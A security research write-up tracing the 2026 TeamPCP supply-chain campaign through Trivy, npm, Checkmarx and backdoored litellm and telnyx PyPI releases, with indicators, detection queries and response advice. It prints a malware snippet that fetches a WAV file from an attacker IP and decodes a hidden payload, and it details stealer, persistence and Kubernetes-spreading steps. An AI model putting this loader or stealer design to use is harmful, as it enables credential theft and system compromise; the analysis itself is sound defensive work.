LiteLLM and Telnyx compromised on PyPI: Tracing the TeamPCP supply chain campaign | Datadog Security Labs

Key points and observations

• On March 24, 2026, two PyPI releases of LiteLLM, 1.82.7 and 1.82.8, were published with malicious code as a result of a supply chain compromise. PyPI later quarantined the project. On March 27, two releases of the telnyx package, 4.87.1 and 4.87.2, were also backdoored.
• Datadog Security Research's investigation links these compromises to a broader campaign that began with the March 19 Trivy compromise, continued with CanisterWorm on npm, and then reached Checkmarx KICS and related artifacts.
• Defenders should treat any host or CI job that installed litellm 1.82.7 or 1.82.8, or telnyx 4.87.1 or 4.87.2, as a full-credential exposure event and investigate for persistence, outbound traffic, and Kubernetes activity, not just package presence.

What happened

On March 24 and March 27, the TeamPCP campaign reached PyPI, compromising two popular, legitimate Python packages: litellm, a widely used proxy layer for LLM providers, and telnyx, a telephony SDK. These were not fake or typo-squatted packages. They were compromises of the real projects as part of an ongoing supply chain campaign that had already moved through Trivy, npm, Aqua Security's internal GitHub, and Checkmarx.

The following image provides an overview of how the whole attack is unfolding:

Before getting into the payload details, it helps to understand the timeline of events. In our analysis, the operator moved from project to project, siphoning credentials and using them to expand the campaign. Each stage reused access or tradecraft from the one before it.

March 19: Trivy is compromised

On March 19, 2026, a threat actor used compromised credentials to:

• Publish a malicious trivy v0.69.4 release
• Force-push 76 of 77 aquasecurity/trivy-action tags to malicious commits
• Replace all seven aquasecurity/setup-trivy tags.

The v0.69.4 tag triggered Trivy's standard release machinery, which then pushed the compromised build through GHCR, ECR Public, Docker Hub, deb and rpm packages, and get.trivy.dev.

The malicious trivy-action and setup-trivy commits dumped Runner.Worker memory, scraped common credential locations, encrypted the results with AES and RSA, and exfiltrated the data to scan.aquasecurtiy[.]org (a look alike domain which may avoid suspicion). If direct exfiltration failed, and a usable GitHub token was present, the malware created a public tpcp-docs repository and uploaded the stolen data there instead. This would allow the threat actors to access the exfiltrated data via this public repo.

March 19 was also not a single release-and-leave event. Additional malicious workflow injections took place into aquasecurity/tfsec, aquasecurity/traceeshark, and aquasecurity/trivy-action. By the end of the day, the campaign had already moved from one poisoned release to active reuse of a compromised identity across other repositories and workflows.

March 20 through March 22: The attacker starts spending stolen access

By March 20, the incident had already moved beyond a poisoned GitHub Action. The attacker was pushing a self-propagating npm worm across multiple publisher scopes: 28 packages in @EmilGroup, 16 in @opengov, plus @teale.io/eslint-config, @airtm/uuid-base32, and @pypestream/floating-ui-dom.

Our assessment is that this marks the first major expansion of the campaign. The worm stole npm tokens from compromised environments, resolved which packages each token could publish, bumped patch versions, fetched the original READMEs to preserve appearances, and republished the packages with the malicious payload. At that point, the attacker was automating the next compromise and broadening the campaign.

By March 22, the infrastructure behind the npm activity was also being used for something more aggressive. The same callback domain used in the npm worm was serving a Kubernetes-focused script that split victims into destructive and non-destructive paths.

The script checked timezone and locale to determine if the system was Iranian. On Iranian systems it deployed a host-provisioner-iran DaemonSet, mounted the host root filesystem, and ran a container named kamikaze that deleted the host filesystem and force-rebooted the node. On non-Iranian Kubernetes targets, it deployed host-provisioner-std, mounted / from the host, and installed persistent backdoor logic instead.

Later on March 22, the GitHub side of the campaign became more explicit. A GitHub account called Argon-DevOps-Mgt created and deleted a ghost branch on aquasecurity/trivy-plugin-aqua, then roughly seven hours later the same access was used to deface Aqua Security's internal aquasec-com GitHub organization. In total, 44 repositories were renamed, all with a tpcp-docs- prefix and the description "TeamPCP Owns Aqua Security."

March 23: the same pattern reaches Checkmarx and OpenVSX

By March 23, the campaign had moved into another vendor's release chain. The attacker(s) compromised Checkmarx/kics-github-action, Checkmarx/ast-github-action, and two OpenVSX extensions, ast-results 2.53.0 and cx-dev-assist 1.7.0.

This phase reused the same fallback pattern seen earlier in the campaign. The KICS payload used a setup.sh stealer tied to checkmarx[.]zone and fell back to creating a docs-tpcp repository with the victim's GITHUB_TOKEN if direct C2 failed.

March 23 is the clearest bridge into the PyPI compromises. By then, the attacker had already demonstrated a repeated pattern against GitHub Actions, package registries, and developer tooling in more than one vendor environment.

March 24: LiteLLM is compromised on PyPI

litellm 1.82.7 and 1.82.8 were both released on March 24, 2026. These packages feature the same malicious payload with different execution mechanisms.

The payload is easiest to follow as a sequence:

1. Collect secrets and credentials: The malware gathers environment variables, SSH keys, cloud credentials, Kubernetes data, Docker configs, shell history, database credentials, wallet files, and CI/CD secrets.
2. Encrypt the haul locally: It then uses a hybrid scheme for encryption: an AES-256 session key for the data, then RSA-4096 for the session key.
3. Exfiltrate it: Once encrypted on the host, the data is then sent to models.litellm[.]cloud using the header X-Filename: tpcp.tar.gz.
4. Install persistence: The payload writes ~/.config/sysmon/sysmon.py and installs a user systemd unit called sysmon.service.
5. Beacon for follow-on payloads: After this, the malware polls https://checkmarx[.]zone/raw, downloads /tmp/pglog, and executes whatever the attacker serves there next.
6. Spread in Kubernetes if it can: The payload can create privileged node-setup-* pods when it finds a usable Kubernetes service-account token. That turns a package compromise into a cluster compromise.

Both versions carry the same payload but differ in how they trigger it.

litellm 1.82.7 carried an injected payload in litellm/proxy/proxy_server.py. That means the malicious logic lived in package code rather than in a one-off install hook.

A victim that installed 1.82.7, and then subsequently used the vulnerable package in their application, would execute the attackers' payload.

Version 1.82.8 is the more dangerous story. This version includes a new litellm_init.pth file inside the wheel. From the Python site documentation, executable lines in .pth files run during interpreter startup.

This means that if the package is installed, it will launch the malicious payload when the Python interpreter is started.

March 27: Telnyx is compromised on PyPI

On March 27, two backdoored versions of the telnyx package were published with a different payload.

Both versions execute malicious code at import time. The code downloads a crafted WAV file from hxxp://83.142.209[.]203:8080/ringtone.wav that hides a second-stage payload inside audio frames. Each 16-byte frame contains 8 bytes of XOR-encrypted data followed by the 8-byte key to decrypt it.

# Comments added for clarity

# Retrieve the WAV file
WAV_URL = "http://83.142.209.203:8080/ringtone.wav"
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
    with open(wf, "wb") as f:
        f.write(r.read())

# Retrieve the second-stage payload that's embedded and encrypted inside it
with wave.open(wf, 'rb') as w:
    raw = base64.b64decode(w.readframes(w.getnframes()))
    s, data = raw[:8], raw[8:]
    # XOR the first 8 bytes with the last 8 bytes of each frame
    payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

The second-stage payload harvests credentials and sensitive files from the infected machine, encrypts them with the same RSA public key used in the LiteLLM attack, and exfiltrates the data over HTTP to hxxp://83.142.209[.]203:8080/.

Responding to the incident if you're affected

Treat any environment that installed litellm 1.82.7 or 1.82.8, or telnyx 4.87.1 or 4.87.2, as potentially compromised. For LiteLLM, version 1.82.8 is the higher-risk case: its malicious .pth file executes automatically when the Python interpreter starts. For 1.82.7, focus on systems that imported the proxy module. For Telnyx, both versions execute at import time.

Responders should focus on four things:

• Scope affected systems: Identify every host, container, CI job, and developer workstation that installed either version. Separate "package present" from "likely executed" where you can, but do not assume a system is safe if you cannot prove the payload never ran.
• Map reachable credentials: Review what the affected process could access locally and what it could fetch on demand. Prioritize cloud credentials, GitHub and package publishing tokens, CI secrets, SSH keys, Kubernetes service account tokens, .env files, and access to centralized secret stores such as AWS Secrets Manager or SSM Parameter Store.
• Rotate based on blast radius: Revoke and reissue any credential that was reachable from an affected runtime, starting with credentials that can publish code, access CI/CD, read shared secrets, or create infrastructure. If an exposed token touched a build or release pipeline, review downstream artifacts published from that environment as well.
• Hunt for follow-on activity and persistence: Look for outbound traffic to models.litellm[.]cloud, 83.142.209[.]203, checkmarx[.]zone, related ICP or Cloudflare infrastructure, and for filesystem artifacts such as litellm_init.pth, ~/.config/sysmon/sysmon.py, ~/.config/systemd/user/sysmon.service, /tmp/pglog, and /tmp/.pg_state. In Kubernetes, review audit logs for unusual secret access, privileged pod creation, or pod names matching node-setup-*.

Do not treat reverting the compromised packages as a complete remediation. Full recovery requires removing the compromised versions, rotating all credentials reachable from the affected runtime, reviewing artifacts recently published from exposed environments, and rebuilding critical systems from known-good images with pinned dependencies. Because this is an active, multi-stage campaign, you should also increase monitoring for follow-on compromise.

Protecting against known malicious packages with SCFW

The Supply-Chain Firewall (SCFW) is an open-source project that transparently wraps 'pip install' and 'npm install' and automatically blocks known malicious packages.

We use SCFW extensively at Datadog, as it's a low-friction way to secure developer workstations against similar threats.

To try SCFW, head over to the GitHub repository.

How Datadog can help

If you're a Code Security customer, the Datadog Security Research Feed can help you easily identify if your environment is affected by this campaign, including by the latest compromised packages.

Datadog Code Security can also identify hosts, containers, and build environments where the compromised versions were installed. That gives you the first scope boundary.

library_name:litellm status:Open library_version:(1.82.7 OR 1.82.8)
library_name:telnyx status:Open library_version:(4.87.1 OR 4.87.2)

Because the compromise primarily impacts services with floating dependencies, you may want to broaden the search to library_version:(1.82.6 OR 1.82.7 OR 1.82.8) to catch services whose data hasn’t yet been refreshed, even though 1.82.6 isn’t vulnerable on its own.

Then move to follow-on activity. Hunt for the linked domains, filesystem paths, and Kubernetes behavior across logs, workload telemetry, and cloud data. A short starting set:

Log Management:

@dns.question.name:(models.litellm[.]cloud OR checkmarx[.]zone OR *.icp0[.]io OR *aquasecurtiy[.]org OR *trycloudflare[.]com)

Note: Cloudflare Tunnels are a legitimate tool for exposing services to the internet. If your environment already uses them, narrow the query to the specific subdomains from the IoC list below instead of treating the whole service as suspicious.

source:kubernetes.audit @objectRef.resource:pods (@objectRef.name:*node-setup-* OR @requestObject.spec.containers.name:(kamikaze OR provisioner))

source:kubernetes.audit @http.method:(get OR list) @objectRef.resource:secrets @userAgent:Python-urllib*

source:cloudtrail @evt.name:(GetSecretValue OR ListSecrets OR DescribeParameters) @http.useragent:Python-urllib*

Workload Protection:

@file.path:(*litellm_init.pth OR */.config/sysmon/sysmon.py OR */.config/systemd/user/sysmon.service OR /tmp/pglog OR /tmp/.pg_state)

Conclusion

The LiteLLM and Telnyx compromises are the latest episodes in an ongoing supply-chain campaign that has involved numerous projects across millions of downloads. This is a case study in how stolen CI/CD credentials from an initial compromise can cascade into fresh attacks across multiple ecosystems in a matter of days.

Defenders should monitor their infrastructure for suspicious activity related to these recent compromises, and evaluate their prevention, detection, and response playbooks to determine preparedness for future attacks.

IOCs

You can download these IOCs as CSV from our GitHub repository.

Affected packages

Network

Filesystem and persistence

Kubernetes

Packages

Sources

• https://research.jfrog.com/post/canister-worm/
• https://www.stepsecurity.io/blog/canisterworm-how-a-self-propagating-npm-worm-is-spreading-backdoors-across-the-ecosystem
• https://ramimac.me/trivy-teampcp
• https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23
• https://checkmarx.com/blog/checkmarx-security-update/
• https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml

Updates made to this entry